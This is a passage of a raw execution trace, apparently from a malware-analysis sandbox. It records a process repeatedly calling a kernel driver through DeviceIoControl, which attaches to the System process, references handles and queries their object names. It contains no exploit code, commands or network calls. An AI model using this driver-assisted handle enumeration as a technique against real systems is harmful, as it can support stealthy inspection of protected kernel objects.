Object=0xfffff88004f09548*=0xfffffa80019179c0, HandleInformation=0x0) returned 0x0 [0102.772] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.772] PsReleaseProcessExitSynchronization () returned 0x2 [0102.772] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.772] ObQueryNameString (in: Object=0xfffffa80019179c0, ObjectNameInfo=0xfffffa8002650044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002650044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.772] ObfDereferenceObject (Object=0xfffffa80019179c0) returned 0x2 [0102.772] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.772] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.773] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0102.773] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.773] PsAcquireProcessExitSynchronization () returned 0x0 [0102.773] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.773] ObReferenceObjectByHandle (in: Handle=0xffffffff800001d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f29260, HandleInformation=0x0) returned 0x0 [0102.773] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.773] PsReleaseProcessExitSynchronization () returned 0x2 [0102.773] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.773] ObQueryNameString (in: Object=0xfffffa8002f29260, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.773] ObfDereferenceObject (Object=0xfffffa8002f29260) returned 0x2 [0102.773] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.773] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.773] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x116, lpOverlapped=0x0) returned 1 [0102.773] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.773] PsAcquireProcessExitSynchronization () returned 0x0 [0102.773] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.773] ObReferenceObjectByHandle (in: Handle=0xffffffff800001dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f10df0, HandleInformation=0x0) returned 0x0 [0102.773] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.773] PsReleaseProcessExitSynchronization () returned 0x2 [0102.773] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.773] ObQueryNameString (in: Object=0xfffffa8002f10df0, ObjectNameInfo=0xfffffa8002066044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002066044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.773] ObfDereferenceObject (Object=0xfffffa8002f10df0) returned 0x2 [0102.773] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.774] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.774] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.774] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.774] PsAcquireProcessExitSynchronization () returned 0x0 [0102.774] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.774] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f1f210, HandleInformation=0x0) returned 0x0 [0102.774] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.774] PsReleaseProcessExitSynchronization () returned 0x2 [0102.774] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.774] ObQueryNameString (in: Object=0xfffffa8002f1f210, ObjectNameInfo=0xfffffa80037a5244, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a5244, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.774] ObfDereferenceObject (Object=0xfffffa8002f1f210) returned 0x1 [0102.774] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.774] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.774] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x14, lpOverlapped=0x0) returned 1 [0102.774] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.774] PsAcquireProcessExitSynchronization () returned 0x0 [0102.774] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.774] ObReferenceObjectByHandle (in: Handle=0xffffffff800001e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f22d30, HandleInformation=0x0) returned 0x0 [0102.774] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.774] PsReleaseProcessExitSynchronization () returned 0x2 [0102.774] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.774] ObQueryNameString (in: Object=0xfffffa8002f22d30, ObjectNameInfo=0xfffffa8003420684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003420684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.774] ObfDereferenceObject (Object=0xfffffa8002f22d30) returned 0x2 [0102.774] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.774] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xb8, lpOverlapped=0x0) returned 1 [0102.775] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.775] PsAcquireProcessExitSynchronization () returned 0x0 [0102.775] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.775] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f1d050, HandleInformation=0x0) returned 0x0 [0102.775] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.775] PsReleaseProcessExitSynchronization () returned 0x2 [0102.775] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.775] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002078044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002078044, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.775] ObfDereferenceObject (Object=0xfffffa8002f1d050) returned 0x21 [0102.775] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.775] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0102.775] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.775] PsAcquireProcessExitSynchronization () returned 0x0 [0102.775] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.775] ObReferenceObjectByHandle (in: Handle=0xffffffff800001f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800282f560, HandleInformation=0x0) returned 0x0 [0102.775] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.775] PsReleaseProcessExitSynchronization () returned 0x2 [0102.775] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.775] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80034287c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80034287c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.775] ObfDereferenceObject (Object=0xfffffa800282f560) returned 0x1 [0102.775] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.775] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.775] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.775] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0102.775] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.775] PsAcquireProcessExitSynchronization () returned 0x0 [0102.775] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.775] ObReferenceObjectByHandle (in: Handle=0xffffffff800001fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002fef2b0, HandleInformation=0x0) returned 0x0 [0102.775] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.775] PsReleaseProcessExitSynchronization () returned 0x2 [0102.776] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.776] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024926c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024926c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0102.776] ObfDereferenceObject (Object=0xfffffa8002fef2b0) returned 0x1 [0102.776] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.776] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0102.776] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.776] PsAcquireProcessExitSynchronization () returned 0x0 [0102.776] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.776] ObReferenceObjectByHandle (in: Handle=0xffffffff80000200, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ee1d40, HandleInformation=0x0) returned 0x0 [0102.776] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.776] PsReleaseProcessExitSynchronization () returned 0x2 [0102.776] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.776] ObQueryNameString (in: Object=0xfffffa8002ee1d40, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.776] ObfDereferenceObject (Object=0xfffffa8002ee1d40) returned 0x1 [0102.776] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.776] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.776] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.776] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x88, lpOverlapped=0x0) returned 1 [0102.776] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.776] PsAcquireProcessExitSynchronization () returned 0x0 [0102.776] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.776] ObReferenceObjectByHandle (in: Handle=0xffffffff80000204, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ee4f20, HandleInformation=0x0) returned 0x0 [0102.776] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.776] PsReleaseProcessExitSynchronization () returned 0x2 [0102.776] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.776] ObQueryNameString (in: Object=0xfffffa8002ee4f20, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.776] ObfDereferenceObject (Object=0xfffffa8002ee4f20) returned 0x1 [0102.776] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.777] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0102.777] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.777] PsAcquireProcessExitSynchronization () returned 0x0 [0102.777] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.777] ObReferenceObjectByHandle (in: Handle=0xffffffff80000210, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ff1610, HandleInformation=0x0) returned 0x0 [0102.777] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.777] PsReleaseProcessExitSynchronization () returned 0x2 [0102.777] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.777] ObQueryNameString (in: Object=0xfffffa8002ff1610, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.777] ObfDereferenceObject (Object=0xfffffa8002ff1610) returned 0x1 [0102.777] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.777] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.777] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.777] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0102.777] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.777] PsAcquireProcessExitSynchronization () returned 0x0 [0102.777] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.777] ObReferenceObjectByHandle (in: Handle=0xffffffff80000214, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002eee850, HandleInformation=0x0) returned 0x0 [0102.777] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.777] PsReleaseProcessExitSynchronization () returned 0x2 [0102.777] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.777] ObQueryNameString (in: Object=0xfffffa8002eee850, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.777] ObfDereferenceObject (Object=0xfffffa8002eee850) returned 0x1 [0102.777] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.778] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.778] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.778] PsAcquireProcessExitSynchronization () returned 0x0 [0102.778] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.778] ObReferenceObjectByHandle (in: Handle=0xffffffff80000218, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002ff3570, HandleInformation=0x0) returned 0x0 [0102.778] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.778] PsReleaseProcessExitSynchronization () returned 0x2 [0102.778] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.778] ObQueryNameString (in: Object=0xfffffa8002ff3570, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.778] ObfDereferenceObject (Object=0xfffffa8002ff3570) returned 0x11 [0102.778] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.778] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.778] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x7a, lpOverlapped=0x0) returned 1 [0102.778] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.778] PsAcquireProcessExitSynchronization () returned 0x0 [0102.778] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.778] ObReferenceObjectByHandle (in: Handle=0xffffffff80000264, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009f01960, HandleInformation=0x0) returned 0x0 [0102.778] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.778] PsReleaseProcessExitSynchronization () returned 0x2 [0102.778] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.778] ObQueryNameString (in: Object=0xfffffa8009f01960, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.778] ObfDereferenceObject (Object=0xfffffa8009f01960) returned 0x1 [0102.778] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.778] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.779] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0102.779] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.779] PsAcquireProcessExitSynchronization () returned 0x0 [0102.779] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.779] ObReferenceObjectByHandle (in: Handle=0xffffffff80000274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800308a050, HandleInformation=0x0) returned 0x0 [0102.779] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.779] PsReleaseProcessExitSynchronization () returned 0x2 [0102.779] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.779] ObQueryNameString (in: Object=0xfffffa800308a050, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.779] ObfDereferenceObject (Object=0xfffffa800308a050) returned 0x1 [0102.779] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0102.779] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e305e0 | out: hHeap=0x180000) returned 1 [0102.779] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e305e0 [0102.779] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e305e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e305e0*, lpBytesReturned=0x12d450*=0x84, lpOverlapped=0x0) returned 1 [0102.779] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.779] PsAcquireProcessExitSynchronization () returned 0x0 [0102.779] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff88004f095d0) [0102.779] ObReferenceObjectByHandle (in: Handle=0xffffffff8000027c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e000, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8009f01640, HandleInformation=0x0) returned 0x0 [0102.779] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.779] PsReleaseProcessExitSynchronization () returned 0x2 [0102.779] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x12b [0102.779] ObQueryNameString (in: Object=0xfffffa8009f01640, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.779] ObfDereferenceObject (Object=0xfffffa8009f01640) returned 0x1 